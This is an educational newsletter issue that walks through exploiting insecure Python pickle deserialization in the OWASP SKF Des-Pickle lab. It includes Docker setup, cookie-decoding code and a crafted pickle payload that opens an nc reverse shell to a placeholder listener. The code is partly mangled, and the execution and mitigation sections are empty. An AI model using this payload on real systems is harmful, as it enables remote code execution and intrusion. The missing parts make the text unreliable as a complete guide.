Demystifing Security by Enciphers Edition #3
Welcome to the #3 Edition of Demystifying Security Newsletter!
In our previous newsletter, we understand in detail the fundamentals of serialization and deserialization, uncovering potential vulnerabilities that arise from improper handling of these processes.?
Now, we’ll take a step further and explore how these vulnerabilities can be exploited to gain Remote Code Execution (RCE), using a real-world example from the OWASP SKF Labs: Des-Pickle, an open-source lab environment. Follow these steps to set up the environment using Docker:
(Example of Python application performing deserialization and serialization)
Pull the Docker image:
$ sudo docker pull blabla1337/owasp-skf-lab:des-pickle
Run the sample web application on port 5000:
$ sudo docker run --rm -ti -p 5000:5000 blabla1337/owasp-skf-lab:des-pickle
This will launch the vulnerable web application, accessible at localhost:5000
Analyzing the Vulnerability
Upon accessing the application, you'll encounter a login panel. For penetration testers, this presents an opportunity to explore potential vulnerabilities, especially around user sessions and cookies.
rememberme=gANjX19tYWluX18KdXNyCnEAKYFxAX1xAihYCAAAAHVzZXJuYW1lcQNYCQAAAEVuY2lwaGVyc3EEWAgAAABwYXNzd29yZHEFWAkAAABFbmNpcGhlcnNxBnViLg==
Identifying and Exploiting the Vulnerability
Python's "pickle" module is used for serialization in this case. Let's decipher the serialized object to understand its structure and exploit potential RCE:
领英推荐
1. Decoding and Deserializing:
import base64
import pickle
class usr:
pass
remember_me_cookie = "gANjX19tYWluX18KdXNyCnEAKYFxAX1xAihYCAAAAHVzZXJuYW1lcQNYCQAAAEVuY2lwaGVyc3EEWAgAAABwYXNzd29yZHEFWAkAAABFbmNpcGhlcnNxBnViLg=="
decoded_data = base64.b64decode(remember_me_cookie)
deserialized_data = pickle.loads(decoded_data)
print("Username:", deserialized_data.username)
print("Password:", deserialized_data.password)
Crafting Malicious Payloads:
import base64
import pickle
class CommandExecutor:
def reduce(self)
import os
return (os.system, ('nc listerner_ip listerner_port -e "/bin/bash"',))
# Create an instance of CommandExecutor with the system command for a reverse shell
malicious_object = CommandExecutor()
# Serialize the object into a byte stream
malicious_byte_stream = pickle.dumps(malicious_object)
# Encode the byte stream into base64 to create the
malicious payload malicious_payload = base64.b64encode(malicious_byte_stream).decode('utf-8') print(malicious_payload)
2. Executing the Payload:
Preventing Insecure Deserialization
To mitigate insecure deserialization vulnerabilities, developers should implement the following best practices:
By following these practices, developers can significantly reduce the risk posed by insecure deserialization vulnerabilities in web applications. This approach ensures robust security against exploitation and protects sensitive data and systems from malicious attacks.
Note: The process of serialization and deserialization may differ from application to application.
Stay tuned for our next edition, and uncover real-world case studies.
Subscribe us for more insights into cybersecurity.
Cyber Security As A Service | Penetration Testing | Cloud Security
4 个月Insecure deserialization is such a critical topic that often gets overlooked in discussions about cybersecurity. I'm curious—what do you all think is the most effective way to prevent this kind of vulnerability, especially in larger, more complex systems? Are you seeing more organizations adopting automated tools for detecting it, or is it still mostly about strong manual code reviews?